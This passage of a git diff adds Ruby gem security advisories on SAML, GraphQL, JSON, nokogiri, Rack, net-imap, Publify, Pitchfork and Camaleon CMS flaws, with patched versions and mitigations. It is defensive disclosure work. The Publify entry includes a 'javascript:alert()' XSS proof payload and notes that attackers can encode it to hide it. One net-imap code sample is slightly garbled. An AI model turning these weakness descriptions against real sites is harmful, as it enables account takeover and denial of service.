+    - https://github.com/SAML-Toolkits/ruby-saml/commit/e9c1cdbd0f9afa467b585de279db0cbd0fb8ae97
+    - https://about.gitlab.com/releases/2025/03/12/patch-release-gitlab-17-9-2-released
+    - https://github.com/SAML-Toolkits/ruby-saml/releases/tag/v1.12.4
+    - https://github.com/SAML-Toolkits/ruby-saml/releases/tag/v1.18.0
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-25292
+    - https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials
+    - https://github.com/advisories/GHSA-754f-8gm6-c4r2
+---
diff --git a/advisories/_posts/2025-03-12-CVE-2025-25293.md b/advisories/_posts/2025-03-12-CVE-2025-25293.md
new file mode 100644
index 00000000..05152ba7
--- /dev/null
+++ b/advisories/_posts/2025-03-12-CVE-2025-25293.md
@@ -0,0 +1,41 @@
+---
+layout: advisory
+title: 'CVE-2025-25293 (ruby-saml): Ruby SAML allows remote Denial of Service (DoS)
+  with compressed SAML responses'
+comments: false
+categories:
+- ruby-saml
+advisory:
+  gem: ruby-saml
+  cve: 2025-25293
+  ghsa: 92rq-c8cf-prrq
+  url: https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-92rq-c8cf-prrq
+  title: Ruby SAML allows remote Denial of Service (DoS) with compressed SAML responses
+  date: 2025-03-12
+  description: |-
+    ### Summary
+    ruby-saml is susceptible to remote Denial of Service (DoS) with compressed SAML responses.
+
+    Ruby-saml uses zlib to decompress SAML responses in case they're compressed.
+    It is possible to bypass the message size check with a compressed assertion
+    since the message size is checked before inflation and not after.
+
+    ### Impact
+    This issue may lead to remote Denial of Service (DoS).
+  cvss_v4: 8.8
+  patched_versions:
+  - "~> 1.12.4"
+  - ">= 1.18.0"
+  related:
+    url:
+    - https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-92rq-c8cf-prrq
+    - https://github.com/SAML-Toolkits/ruby-saml/commit/acac9e9cc0b9a507882c614f25d41f8b47be349a
+    - https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-hw46-3hmr-x9xv
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-25293
+    - https://github.com/SAML-Toolkits/ruby-saml/commit/e2da4c6dae7dc01a4d9cd221395140a67e2b3eb1
+    - https://about.gitlab.com/releases/2025/03/12/patch-release-gitlab-17-9-2-released
+    - https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials
+    - https://github.com/SAML-Toolkits/ruby-saml/releases/tag/v1.12.4
+    - https://github.com/SAML-Toolkits/ruby-saml/releases/tag/v1.18.0
+    - https://github.com/advisories/GHSA-92rq-c8cf-prrq
+---
diff --git a/advisories/_posts/2025-03-12-CVE-2025-27407.md b/advisories/_posts/2025-03-12-CVE-2025-27407.md
new file mode 100644
index 00000000..881a1499
--- /dev/null
+++ b/advisories/_posts/2025-03-12-CVE-2025-27407.md
@@ -0,0 +1,49 @@
+---
+layout: advisory
+title: 'CVE-2025-27407 (graphql): graphql allows remote code execution when loading
+  a crafted GraphQL schema'
+comments: false
+categories:
+- graphql
+advisory:
+  gem: graphql
+  cve: 2025-27407
+  ghsa: q92j-grw3-h492
+  url: https://github.com/rmosolgo/graphql-ruby/security/advisories/GHSA-q92j-grw3-h492
+  title: graphql allows remote code execution when loading a crafted GraphQL schema
+  date: 2025-03-12
+  description: |
+    Loading a malicious schema definition in
+    `GraphQL::Schema.from_introspection` (or `GraphQL::Schema::Loader.load`)
+    can result in remote code execution. Any system which loads a schema
+    by JSON from an untrusted source is vulnerable, including those that
+    use [GraphQL::Client](https://github.com/github-community-projects/graphql-client)
+    to load external schemas via GraphQL introspection.
+  cvss_v3: 9.1
+  unaffected_versions:
+  - "< 1.11.5"
+  patched_versions:
+  - "~> 1.11.11"
+  - "~> 1.12.25"
+  - "~> 1.13.24"
+  - "~> 2.0.32"
+  - "~> 2.1.15"
+  - "~> 2.2.17"
+  - "~> 2.3.21"
+  - ">= 2.4.13"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-27407
+    - https://github.com/github-community-projects/graphql-client
+    - https://github.com/rmosolgo/graphql-ruby/security/advisories/GHSA-q92j-grw3-h492
+    - https://github.com/rmosolgo/graphql-ruby/commit/e58676c70aa695e3052ba1fbc787efee4ba7d67e
+    - https://github.com/rmosolgo/graphql-ruby/commit/28233b16c0eb9d0fb7808f4980e061dc7507c4cd
+    - https://github.com/rmosolgo/graphql-ruby/commit/2d2f4ed1f79472f8eed29c864b039649e1de238f
+    - https://github.com/rmosolgo/graphql-ruby/commit/5c5a7b9a9bdce143be048074aea50edb7bb747be
+    - https://github.com/rmosolgo/graphql-ruby/commit/6eca16b9fa553aa957099a30dbde64ddcdac52ca
+    - https://github.com/rmosolgo/graphql-ruby/commit/d0963289e0dab4ea893bbecf12bb7d89294957bb
+    - https://github.com/rmosolgo/graphql-ruby/commit/d1117ae0361d9ed67e0795b07f5c3e98e62f3c7c
+    - https://github.com/rmosolgo/graphql-ruby/commit/e3b33ace05391da2871c75ab4d3b66e29133b367
+    - https://about.gitlab.com/releases/2025/03/12/patch-release-gitlab-17-9-2-released
+    - https://github.com/advisories/GHSA-q92j-grw3-h492
+---
diff --git a/advisories/_posts/2025-03-12-CVE-2025-27788.md b/advisories/_posts/2025-03-12-CVE-2025-27788.md
new file mode 100644
index 00000000..b480d960
--- /dev/null
+++ b/advisories/_posts/2025-03-12-CVE-2025-27788.md
@@ -0,0 +1,41 @@
+---
+layout: advisory
+title: 'CVE-2025-27788 (json): Out-of-bounds Read in Ruby JSON Parser'
+comments: false
+categories:
+- json
+advisory:
+  gem: json
+  cve: 2025-27788
+  ghsa: 9m3q-rhmv-5q44
+  url: https://github.com/ruby/json/security/advisories/GHSA-9m3q-rhmv-5q44
+  title: Out-of-bounds Read in Ruby JSON Parser
+  date: 2025-03-12
+  description: |
+    ### Impact
+
+    A specially crafted document could cause an out of bound read,
+    most likely resulting in a crash.
+
+    Versions 2.10.0 and 2.10.1 are impacted. Older versions are not.
+
+    ### Patches
+
+    Version 2.10.2 fixes the problem.
+
+    ### Workarounds
+
+    None.
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 2.10.0"
+  patched_versions:
+  - ">= 2.10.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-27788
+    - https://github.com/ruby/json/security/advisories/GHSA-9m3q-rhmv-5q44
+    - https://github.com/ruby/json/releases/tag/v2.10.2
+    - https://github.com/ruby/json/commit/c56db31f800d5d508389793e69682f99749dbadf
+    - https://github.com/advisories/GHSA-9m3q-rhmv-5q44
+---
diff --git a/advisories/_posts/2025-03-12-GHSA-hw46-3hmr-x9xv.md b/advisories/_posts/2025-03-12-GHSA-hw46-3hmr-x9xv.md
new file mode 100644
index 00000000..f9989bb0
--- /dev/null
+++ b/advisories/_posts/2025-03-12-GHSA-hw46-3hmr-x9xv.md
@@ -0,0 +1,39 @@
+---
+layout: advisory
+title: 'GHSA-hw46-3hmr-x9xv (omniauth-saml): omniauth-saml has dependency on ruby-saml
+  version with Signature Wrapping Attack issue'
+comments: false
+categories:
+- omniauth-saml
+advisory:
+  gem: omniauth-saml
+  ghsa: hw46-3hmr-x9xv
+  url: https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-hw46-3hmr-x9xv
+  title: omniauth-saml has dependency on ruby-saml version with Signature Wrapping
+    Attack issue
+  date: 2025-03-12
+  description: |-
+    ### Summary
+    There are 2 new Critical Signature Wrapping Vulnerabilities (CVE-2025-25292, CVE-2025-25291) and a potential DDOS Moderated Vulneratiblity (CVE-2025-25293) affecting ruby-saml, a dependency of omniauth-saml.
+
+    The fix will be applied to ruby-saml and released 12 March 2025, under version 1.18.0.
+
+    Please [upgrade](https://github.com/omniauth/omniauth-saml/blob/master/omniauth-saml.gemspec#L16) the ruby-saml requirement to v1.18.0.
+
+    ### Impact
+    Signature Wrapping Vulnerabilities allows an attacker to impersonate a user.
+  cvss_v4: 9.3
+  patched_versions:
+  - "~> 1.10.6"
+  - "~> 2.1.3"
+  - ">= 2.2.3"
+  related:
+    url:
+    - https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-hw46-3hmr-x9xv
+    - https://github.com/omniauth/omniauth-saml/commit/0d5eaa0d808acb2ac96deadf5c750ac1cf2d92b5
+    - https://github.com/omniauth/omniauth-saml/commit/2c8a482801808bbcb0188214bde74680b8018a35
+    - https://github.com/omniauth/omniauth-saml/commit/7a348b49083462a566af41a5ae85e9f3af15b985
+    - https://github.com/omniauth/omniauth-saml/blob/master/omniauth-saml.gemspec#L16
+    - https://rubygems.org/gems/omniauth-saml/versions/2.2.3
+    - https://github.com/advisories/GHSA-hw46-3hmr-x9xv
+---
diff --git a/advisories/_posts/2025-03-14-CVE-2025-2304.md b/advisories/_posts/2025-03-14-CVE-2025-2304.md
new file mode 100644
index 00000000..28dc94f8
--- /dev/null
+++ b/advisories/_posts/2025-03-14-CVE-2025-2304.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2025-2304 (camaleon_cms): Camaleon CMS Vulnerable to Privilege Escalation
+  through a Mass Assignment'
+comments: false
+categories:
+- camaleon_cms
+advisory:
+  gem: camaleon_cms
+  cve: 2025-2304
+  ghsa: rp28-mvq3-wf8j
+  url: https://github.com/advisories/GHSA-rp28-mvq3-wf8j
+  title: Camaleon CMS Vulnerable to Privilege Escalation through a Mass Assignment
+  date: 2025-03-14
+  description: |
+    A Privilege Escalation through a Mass Assignment exists in Camaleon CMS
+
+    When a user wishes to change his password, the 'updated_ajax' method
+    of the UsersController is called. The vulnerability stems from the
+    use of the dangerous permit! method, which allows all parameters to
+    pass through without any filtering.
+  cvss_v4: 9.4
+  patched_versions:
+  - ">= 2.9.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-2304
+    - https://www.tenable.com/security/research/tra-2025-09
+    - https://github.com/owen2345/camaleon-cms/pull/1109
+    - https://github.com/owen2345/camaleon-cms/commit/179fd6b1ecf258d3e214aebfa87ac4a322ea4db4
+    - https://github.com/owen2345/camaleon-cms/releases/tag/2.9.1
+    - https://github.com/advisories/GHSA-rp28-mvq3-wf8j
+---
diff --git a/advisories/_posts/2025-03-14-GHSA-mrxw-mxhj-p664.md b/advisories/_posts/2025-03-14-GHSA-mrxw-mxhj-p664.md
new file mode 100644
index 00000000..a873225c
--- /dev/null
+++ b/advisories/_posts/2025-03-14-GHSA-mrxw-mxhj-p664.md
@@ -0,0 +1,52 @@
+---
+layout: advisory
+title: 'GHSA-mrxw-mxhj-p664 (nokogiri): Nokogiri updates packaged libxslt to v1.1.43
+  to resolve multiple CVEs'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  ghsa: mrxw-mxhj-p664
+  url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-mrxw-mxhj-p664
+  title: Nokogiri updates packaged libxslt to v1.1.43 to resolve multiple CVEs
+  date: 2025-03-14
+  description: |
+    ## Summary
+
+    Nokogiri v1.18.4 upgrades its dependency libxslt to
+    [v1.1.43](https://gitlab.gnome.org/GNOME/libxslt/-/releases/v1.1.43).
+
+    libxslt v1.1.43 resolves:
+
+    - CVE-2025-24855: Fix use-after-free of XPath context node
+    - CVE-2024-55549: Fix UAF related to excluded namespaces
+
+    ## Impact
+
+    ### CVE-2025-24855
+
+    - "Use-after-free due to xsltEvalXPathStringNs leaking xpathCtxt->node"
+    - MITRE has rated this 7.8 High CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H
+    - Upstream report: https://gitlab.gnome.org/GNOME/libxslt/-/issues/128
+    - NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2025-24855
+
+    ### CVE-2024-55549
+
+    - "Use-after-free related to excluded result prefixes"
+    - MITRE has rated this 7.8 High CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H
+    - Upstream report: https://gitlab.gnome.org/GNOME/libxslt/-/issues/127
+    - NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2024-55549
+  cvss_v3: 7.8
+  patched_versions:
+  - ">= 1.18.4"
+  related:
+    url:
+    - https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-mrxw-mxhj-p664
+    - https://gitlab.gnome.org/GNOME/libxslt/-/issues/127
+    - https://gitlab.gnome.org/GNOME/libxslt/-/issues/128
+    - https://github.com/advisories/GHSA-mrxw-mxhj-p664
+    cve:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-55549
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-24855
+---
diff --git a/advisories/_posts/2025-03-27-CVE-2025-30221.md b/advisories/_posts/2025-03-27-CVE-2025-30221.md
new file mode 100644
index 00000000..e196e023
--- /dev/null
+++ b/advisories/_posts/2025-03-27-CVE-2025-30221.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2025-30221 (pitchfork): Pitchfork HTTP Request/Response Splitting vulnerability'
+comments: false
+categories:
+- pitchfork
+advisory:
+  gem: pitchfork
+  cve: 2025-30221
+  ghsa: pfqj-w6r6-g86v
+  url: https://github.com/Shopify/pitchfork/security/advisories/GHSA-pfqj-w6r6-g86v
+  title: Pitchfork HTTP Request/Response Splitting vulnerability
+  date: 2025-03-27
+  description: |
+    ### Impact
+    HTTP Response Header Injection in Pitchfork Versions < 0.11.0
+    when used in conjunction with Rack 3
+
+    ### Patches
+    The issue was fixed in Pitchfork release 0.11.0
+
+    ### Workarounds
+    There are no known work arounds. Users must upgrade.
+  cvss_v3: 4.3
+  patched_versions:
+  - ">= 0.11.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-30221
+    - https://github.com/Shopify/pitchfork/security/advisories/GHSA-pfqj-w6r6-g86v
+    - https://github.com/Shopify/pitchfork/commit/17ed9b61bf9f58957065f7405b66102daf86bf55
+    - https://github.com/advisories/GHSA-pfqj-w6r6-g86v
+---
diff --git a/advisories/_posts/2025-03-28-CVE-2024-39311.md b/advisories/_posts/2025-03-28-CVE-2024-39311.md
new file mode 100644
index 00000000..1ea6d8e1
--- /dev/null
+++ b/advisories/_posts/2025-03-28-CVE-2024-39311.md
@@ -0,0 +1,50 @@
+---
+layout: advisory
+title: 'CVE-2024-39311 (publify_core): Publify Vulnerable To Cross-Site Scripting
+  (XSS) Via Redirects Requiring User Interaction'
+comments: false
+categories:
+- publify_core
+advisory:
+  gem: publify_core
+  cve: 2024-39311
+  ghsa: 8fm5-gg2f-f66q
+  url: https://github.com/publify/publify/security/advisories/GHSA-8fm5-gg2f-f66q
+  title: Publify Vulnerable To Cross-Site Scripting (XSS) Via Redirects Requiring
+    User Interaction
+  date: 2025-03-28
+  description: |
+    ### Summary
+
+    A publisher on a `publify` application is able to perform a cross-site
+    scripting attack on an administrator using the redirect functionality.
+
+    ### Details
+
+    A publisher on a `publify` application is able to perform a cross-site
+    scripting attack on an administrator using the redirect functionality.
+    The exploitation of this XSS vulnerability requires the administrator
+    to click a malicious link.
+
+    We can create a redirect to a `javascript:alert()` URL. Whilst the
+    redirect itself doesn't work, on the administrative panel, an a tag
+    is created with the payload as the URI. Upon clicking this link,
+    the XSS is triggered.
+
+    An attack could attempt to hide their payload by using HTML, or
+    other encodings, as to not make it obvious to an administrator
+    that this is a malicious link.
+
+    ### Impact
+
+    A publisher may attempt to use this vulnerability to escalate their
+    privileges and become an administrator."
+  cvss_v4: 1.8
+  patched_versions:
+  - ">= 10.0.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-39311
+    - https://github.com/publify/publify/security/advisories/GHSA-8fm5-gg2f-f66q
+    - https://github.com/advisories/GHSA-8fm5-gg2f-f66q
+---
diff --git a/advisories/_posts/2025-04-21-GHSA-5w6v-399v-w3cc.md b/advisories/_posts/2025-04-21-GHSA-5w6v-399v-w3cc.md
new file mode 100644
index 00000000..3de1330b
--- /dev/null
+++ b/advisories/_posts/2025-04-21-GHSA-5w6v-399v-w3cc.md
@@ -0,0 +1,68 @@
+---
+layout: advisory
+title: 'GHSA-5w6v-399v-w3cc (nokogiri): Nokogiri updates packaged libxml2 to v2.13.8
+  to resolve CVE-2025-32414 and CVE-2025-32415'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  ghsa: 5w6v-399v-w3cc
+  url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-5w6v-399v-w3cc
+  title: Nokogiri updates packaged libxml2 to v2.13.8 to resolve CVE-2025-32414 and
+    CVE-2025-32415
+  date: 2025-04-21
+  description: |
+    ## Summary
+
+    Nokogiri v1.18.8 upgrades its dependency libxml2 to
+    [v2.13.8](https://gitlab.gnome.org/GNOME/libxml2/-/releases/v2.13.8).
+
+    libxml2 v2.13.8 addresses:
+
+    - CVE-2025-32414
+      - described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/889
+    - CVE-2025-32415
+      - described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/890
+
+    ## Impact
+
+    ### CVE-2025-32414: No impact
+
+    In libxml2 before 2.13.8 and 2.14.x before 2.14.2, out-of-bounds
+    memory access can occur in the Python API (Python bindings) because
+    of an incorrect return value. This occurs in xmlPythonFileRead and
+    xmlPythonFileReadRaw because of a difference between bytes and characters.
+
+    **There is no impact** from this CVE for Nokogiri users.
+
+    ### CVE-2025-32415: Low impact
+
+    In libxml2 before 2.13.8 and 2.14.x before 2.14.2,
+    xmlSchemaIDCFillNodeTables in xmlschemas.c has a heap-based buffer
+    under-read. To exploit this, a crafted XML document must be validated
+    against an XML schema with certain identity constraints, or a
+    crafted XML schema must be used.
+
+    In the upstream issue, further context is provided by the maintainer:
+
+    > The bug affects validation against untrusted XML Schemas (.xsd)
+    > and validation of untrusted documents against trusted Schemas if
+    > they make use of xsd:keyref in combination with recursively
+    > defined types that have additional identity constraints.
+
+    MITRE has published a severity score of 2.9 LOW
+    (CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L) for this CVE.
+  patched_versions:
+  - ">= 1.18.8"
+  related:
+    cve:
+    - CVE-2025-32414
+    - CVE-2025-32415
+    url:
+    - https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-5w6v-399v-w3cc
+    - https://gitlab.gnome.org/GNOME/libxml2/-/releases/v2.13.8
+    - https://gitlab.gnome.org/GNOME/libxml2/-/issues/889
+    - https://gitlab.gnome.org/GNOME/libxml2/-/issues/890
+    - https://github.com/advisories/GHSA-5w6v-399v-w3cc
+---
diff --git a/advisories/_posts/2025-04-28-CVE-2025-43857.md b/advisories/_posts/2025-04-28-CVE-2025-43857.md
new file mode 100644
index 00000000..0e447d7f
--- /dev/null
+++ b/advisories/_posts/2025-04-28-CVE-2025-43857.md
@@ -0,0 +1,132 @@
+---
+layout: advisory
+title: 'CVE-2025-43857 (net-imap): net-imap rubygem vulnerable to possible DoS by
+  memory exhaustion'
+comments: false
+categories:
+- net-imap
+advisory:
+  gem: net-imap
+  cve: 2025-43857
+  ghsa: j3g3-5qv5-52mj
+  url: https://github.com/ruby/net-imap/security/advisories/GHSA-j3g3-5qv5-52mj
+  title: net-imap rubygem vulnerable to possible DoS by memory exhaustion
+  date: 2025-04-28
+  description: |
+    ### Summary
+
+    There is a possibility for denial of service by memory exhaustion
+    when `net-imap` reads server responses.  At any time while the client
+    is connected, a malicious server can send can send a "literal" byte
+    count, which is automatically read by the client's receiver thread.
+    The response reader immediately allocates memory for the number of
+    bytes indicated by the server response.
+
+    This should not be an issue when securely connecting to trusted IMAP
+    servers that are well-behaved.  It can affect insecure connections
+    and buggy, untrusted, or compromised servers (for example, connecting
+    to a user supplied hostname).
+
+    ### Details
+
+    The IMAP protocol allows "literal" strings to be sent in responses,
+    prefixed with their size in curly braces (e.g. `{1234567890}`).
+    When `Net::IMAP` receives a response containing a literal string,
+    it calls `IO#read` with that size.  When called with a size,
+    `IO#read` immediately allocates memory to buffer the entire string
+    before processing continues.  The server does not need to send any
+    more data.  There is no limit on the size of literals that will be
+    accepted.
+
+    ### Fix
+    #### Upgrade
+    Users should upgrade to `net-imap` 0.5.7 or later.  A configurable
+    `max_response_size` limit has been added to `Net::IMAP`'s response
+    reader.  The `max_response_size` limit has also been backported to
+    `net-imap` 0.2.5, 0.3.9, and 0.4.20.
+
+    To set a global value for `max_response_size`, users must upgrade
+    to `net-imap` ~> 0.4.20, or > 0.5.7.
+
+    #### Configuration
+
+    To avoid backward compatibility issues for secure connections to
+    trusted well-behaved servers, the default `max_response_size` for
+    `net-imap` 0.5.7 is _very high_ (512MiB), and the default
+    `max_response_size` for `net-imap` ~> 0.4.20, ~> 0.3.9, and 0.2.5
+    is `nil` (unlimited).
+
+    When connecting to untrusted servers or using insecure connections,
+    a much lower `max_response_size` should be used.
+    ```ruby
+    # Set the global max_response_size (only ~> v0.4.20, > 0.5.7)
+    Net::IMAP.config.max_response_size = 256 << 10 # 256 KiB
+
+    # Set when creating the connection
+    imap = Net::IMAP.new(hostname, ssl: true,
+                         max_response_size: 16 << 10) # 16 KiB
+
+    # Set after creating the connection
+    imap.max_response_size = 256 << 20 # 256 KiB
+    # flush currently waiting read, to ensure the new setting is loaded
+    imap.noop
+    ```
+
+    _**Please Note:**_ `max_response_size` only limits the size _per
+    response_.  It does not prevent a flood of individual responses
+    and it does not limit how many unhandled responses may be stored
+    on the responses hash.  Users are responsible for adding response
+    handlers to prune excessive unhandled responses.
+
+    #### Compatibility with lower `max_response_size`
+
+    A lower `max_response_size` may cause a few commands which
+    legitimately return very large responses to raise an exception
+    and close the connection.  The `max_response_size` could be
+    temporarily set to a higher value, but paginated or limited
+    versions of commands should be used whenever possible.  For
+    example, to fetch message bodies:
+
+    ```ruby
+    imap.max_response_size = 256 << 20 # 256 KiB
+    imap.noop # flush currently waiting read
+
+    # fetch a message in 252KiB chunks
+    size = imap.uid_fetch(uid, "RFC822.SIZE").first.rfc822_size
+    limit = 252 << 10
+    message = ((0..size)limit).each_with_object("") {|offset, str|
+      str << imap.uid_fetch(uid,
+      "BODY.PEEK[]<#{offset}.#{limit}>").first.message(offset:)
+    }
+
+    imap.max_response_size = 16 << 20 # 16 KiB
+    imap.noop # flush currently waiting read
+    ```
+
+    ### References
+
+    * PR to introduce max_response_size: https://github.com/ruby/net-imap/pull/442
+      * Specific commit: [0ae8576c1 - lib/net/imap/response_reader.rb](https://github.com/ruby/net-imap/pull/444/commits/0ae8576c1a90bcd9573f81bdad4b4b824642d105#diff-53721cb4d9c3fb86b95cc8476ca2df90968ad8c481645220c607034399151462)
+    * Backport to 0.4: https://github.com/ruby/net-imap/pull/445
+    * Backport to 0.3: https://github.com/ruby/net-imap/pull/446
+    * Backport to 0.2: https://github.com/ruby/net-imap/pull/447
+  cvss_v4: 6.0
+  patched_versions:
+  - "~> 0.2.5"
+  - "~> 0.3.9"
+  - "~> 0.4.20"
+  - ">= 0.5.7"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-43857
+    - https://www.ruby-lang.org/en/news/2025/04/28/dos-net-imap-cve-2025-43857
+    - https://github.com/ruby/net-imap/security/advisories/GHSA-j3g3-5qv5-52mj
+    - https://github.com/ruby/net-imap/pull/442
+    - https://github.com/ruby/net-imap/pull/444/commits/0ae8576c1a90bcd9573f81bdad4b4b824642d105#diff-53721cb4d9c3fb86b95cc8476ca2df90968ad8c481645220c607034399151462
+    - https://github.com/ruby/net-imap/pull/445
+    - https://github.com/ruby/net-imap/pull/446
+    - https://github.com/ruby/net-imap/pull/447
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-43857
+    - https://github.com/advisories/GHSA-j3g3-5qv5-52mj
+    - https://hackerone.com/reports/3108869
+---
diff --git a/advisories/_posts/2025-05-08-CVE-2025-32441.md b/advisories/_posts/2025-05-08-CVE-2025-32441.md
new file mode 100644
index 00000000..0758c0a6
--- /dev/null
+++ b/advisories/_posts/2025-05-08-CVE-2025-32441.md
@@ -0,0 +1,64 @@
+---
+layout: advisory
+title: 'CVE-2025-32441 (rack): Rack session gets restored after deletion'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2025-32441
+  ghsa: vpfw-47h7-xj4g
+  url: https://github.com/rack/rack-session/security/advisories/GHSA-9j94-67jr-4cqj
+  title: Rack session gets restored after deletion
+  date: 2025-05-08
+  description: |
+    ### Summary
+
+    When using the `Rack::Session::Pool` middleware, simultaneous rack
+    requests can restore a deleted rack session, which allows the
+    unauthenticated user to occupy that session.
+
+    ### Details
+
+    [Rack session middleware](https://github.com/rack/rack/blob/v2.2.13/lib/rack/session/abstract/id.rb#L263-L270)
+    prepares the session at the beginning of request, then saves is back
+    to the store with possible changes applied by host rack application.
+    This way the session becomes to be a subject of race conditions in
+    general sense over concurrent rack requests.
+
+    ### Impact
+
+    When using the `Rack::Session::Pool` middleware, and provided the
+    attacker can acquire a session cookie (already a major issue), the
+    session may be restored if the attacker can trigger a long running
+    request (within that same session) adjacent to the user logging out,
+    in order to retain illicit access even after a user has attempted to logout.
+
+    ## Mitigation
+
+    - Update to the latest version of `rack`, or
+    - Ensure your application invalidates sessions atomically by marking
+      them as logged out e.g., using a `logged_out` flag, instead of
+      deleting them, and check this flag on every request to prevent reuse, or
+    - Implement a custom session store that tracks session invalidation
+      timestamps and refuses to accept session data if the session was
+      invalidated after the request began.
+
+    ### Related
+
+    As this code was moved to `rack-session` in Rack 3+, see
+    <https://github.com/rack/rack-session/security/advisories/GHSA-9j94-67jr-4cqj>
+    for the equivalent advisory in `rack-session` (affecting Rack 3+ only).
+  cvss_v3: 4.2
+  patched_versions:
+  - ">= 2.2.14"
+  related:
+    ghsa:
+    - https://github.com/rack/rack-session/security/advisories/GHSA-9j94-67jr-4cqj
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-32441
+    - https://github.com/rack/rack/security/advisories/GHSA-vpfw-47h7-xj4g
+    - https://github.com/rack/rack/commit/c48e52f7c57e99e1e1bf54c8760d4f082cd1c89d
+    - https://github.com/rack/rack/blob/v2.2.13/lib/rack/session/abstract/id.rb#L263-L270
+    - https://github.com/advisories/GHSA-vpfw-47h7-xj4g
+---
diff --git a/advisories/_posts/2025-05-08-CVE-2025-46336.md b/advisories/_posts/2025-05-08-CVE-2025-46336.md
new file mode 100644
index 00000000..be6f6325
--- /dev/null
+++ b/advisories/_posts/2025-05-08-CVE-2025-46336.md
@@ -0,0 +1,65 @@
+---
+layout: advisory
+title: 'CVE-2025-46336 (rack-session): Rack session gets restored after deletion'
+comments: false
+categories:
+- rack-session
+advisory:
+  gem: rack-session
+  cve: 2025-46336
+  ghsa: 9j94-67jr-4cqj
+  url: https://github.com/rack/rack-session/security/advisories/GHSA-9j94-67jr-4cqj
+  title: Rack session gets restored after deletion
+  date: 2025-05-08
+  description: |
+    ## Summary
+
+    When using the `Rack::Session::Pool` middleware, simultaneous rack
+    requests can restore a deleted rack session, which allows the
+    unauthenticated user to occupy that session.
+
+    ## Details
+
+    [Rack session middleware](https://github.com/rack/rack-session/blob/v2.1.0/lib/rack/session/abstract/id.rb#L271-L278)
+    prepares the session at the beginning of request, then saves is back
+    to the store with possible changes applied by host rack application.
+    This way the session becomes to be a subject of race conditions in
+    general sense over concurrent rack requests.
+
+    ## Impact
+
+    When using the `Rack::Session::Pool` middleware, and provided the
+    attacker can acquire a session cookie (already a major issue), the
+    session may be restored if the attacker can trigger a long running
+    request (within that same session) adjacent to the user logging out,
+    in order to retain illicit access even after a user has attempted to logout.
+
+    ## Mitigation
+
+    - Update to the latest version of `rack-session`, or
+    - Ensure your application invalidates sessions atomically by marking
+      them as logged out e.g., using a `logged_out` flag, instead of
+      deleting them, and check this flag on every request to prevent reuse, or
+    - Implement a custom session store that tracks session invalidation
+      timestamps and refuses to accept session data if the session was
+      invalidated after the request began.
+
+    ## Related
+
+    This code was previously part of `rack` in Rack < 3, see
+    <https://github.com/rack/rack/security/advisories/GHSA-vpfw-47h7-xj4g>
+    for the equivalent advisory in `rack` (affecting Rack < 3 only).
+  cvss_v3: 4.2
+  unaffected_versions:
+  - "< 2.0.0"
+  patched_versions:
+  - ">= 2.1.1"
+  related:
+    ghsa:
+    - https://github.com/rack/rack/security/advisories/GHSA-vpfw-47h7-xj4g
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-46336
+    - https://github.com/rack/rack-session/commit/c28c4a8c1861d814e09f2ae48264ac4c40be2d3b
+    - https://github.com/rack/rack-session/security/advisories/GHSA-9j94-67jr-4cqj
+    - https://github.com/advisories/GHSA-9j94-67jr-4cqj
+---
diff --git a/advisories/_posts/2025-05-08-CVE-2025-46727.md b/advisories/_posts/2025-05-08-CVE-2025-46727.md
new file mode 100644
index 00000000..a87d6d71
--- /dev/null
+++ b/advisories/_posts/2025-05-08-CVE-2025-46727.md
@@ -0,0 +1,60 @@
+---
+layout: advisory
+title: 'CVE-2025-46727 (rack): Rack has an Unbounded-Parameter DoS in Rack::QueryParser'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2025-46727
+  ghsa: gjh7-p2fx-99vx
+  url: https://github.com/rack/rack/security/advisories/GHSA-gjh7-p2fx-99vx
+  title: Rack has an Unbounded-Parameter DoS in Rack::QueryParser
+  date: 2025-05-08
+  description: |
+    ## Summary
+
+    `Rack::QueryParser` parses query strings and
+    `application/x-www-form-urlencoded` bodies into Ruby data structures
+    without imposing any limit on the number of parameters, allowing
+    attackers to send requests with extremely large numbers of parameters.
+
+    ## Details
+
+    The vulnerability arises because `Rack::QueryParser` iterates over
+    each `&`-separated key-value pair and adds it to a Hash without
+    enforcing an upper bound on the total number of parameters. This
+    allows an attacker to send a single request containing hundreds of
